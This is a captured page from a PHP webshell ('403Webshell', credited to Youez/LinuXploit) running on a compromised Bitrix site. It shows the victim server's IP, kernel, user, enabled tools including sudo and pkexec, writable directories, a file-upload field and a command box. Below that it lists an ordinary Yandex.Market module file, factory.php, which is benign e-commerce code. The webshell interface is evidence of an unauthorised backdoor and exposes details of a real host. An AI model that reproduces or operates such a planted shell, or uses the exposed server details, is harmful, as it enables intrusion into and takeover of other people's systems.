403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/catalog/segment/stocks/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/modules/yandex.market/lib/catalog/segment/stocks/factory.php
<?php
namespace Yandex\Market\Catalog\Segment\Stocks;

use Yandex\Market\Catalog\Endpoint;
use Yandex\Market\Catalog\Segment;
use Yandex\Market\Export\Param;
use Yandex\Market\Reference\Concerns;
use Yandex\Market\Trading\Business;
use Yandex\Market\Trading\Campaign;

class Factory implements Segment\Factory
{
	use Concerns\HasMessage;

	public function businessConfig(Business\Model $business)
	{
		return null;
	}

	public function campaignConfigs(Business\Model $business)
	{
		$result = [];

		/** @var Campaign\Model $campaign */
		foreach ($business->getCampaignCollection() as $campaign)
		{
			if ($campaign->getPlacement() === Campaign\Placement::FBY) { continue; }

			$externalSettings = $campaign->getExternalSettings();
			$groupPrimary = $externalSettings->getWarehouseGroupPrimary();

			if ($groupPrimary > 0)
			{
				if ($groupPrimary !== $campaign->getId()) { continue; }

				$groupName = $externalSettings->getWarehouseGroupName() ?: $campaign->getName();

				$result[] = new Segment\CampaignConfig(new Format(), $campaign->getId(), self::getMessage('GROUP', [
					'#NAME#' => $groupName,
				], $groupName));
			}
			else
			{
				$result[] = new Segment\CampaignConfig(new Format(), $campaign->getId(), $campaign->getName(), $campaign->getPlacement());
			}
		}

		return $result;
	}

	public function endpoints(Business\Model $business, Segment\Collection $segmentCollection)
	{
		$result = [];
		$campaignCollection = $business->getCampaignCollection();

		/** @var Segment\Model $campaignSegment */
		foreach ($segmentCollection->getCampaignItems() as $campaignSegment)
		{
			$campaignId = $campaignSegment->getCampaignId();
			$campaign = $campaignCollection->getItemById($campaignId);

			if ($campaign === null) { continue; }

			$groupPrimary = $campaign->getExternalSettings()->getWarehouseGroupPrimary();

			if ($groupPrimary > 0)
			{
				$endpointKey = $groupPrimary;
				$driver = new Endpoint\Stocks($groupPrimary, array_diff($campaignCollection->getWarehouseGroupCampaignIds($groupPrimary), [ $groupPrimary ]));
			}
			else
			{
				$endpointKey = $campaignId;
				$driver = new Endpoint\Stocks($campaignId);
			}

            $result[$endpointKey] = new Endpoint\Endpoint($driver, new Param\TagBundle(
                (new Format(true))->getTag(),
                $campaignSegment->getParamCollection()->getTagMap()
            ));
		}

		return array_values($result);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit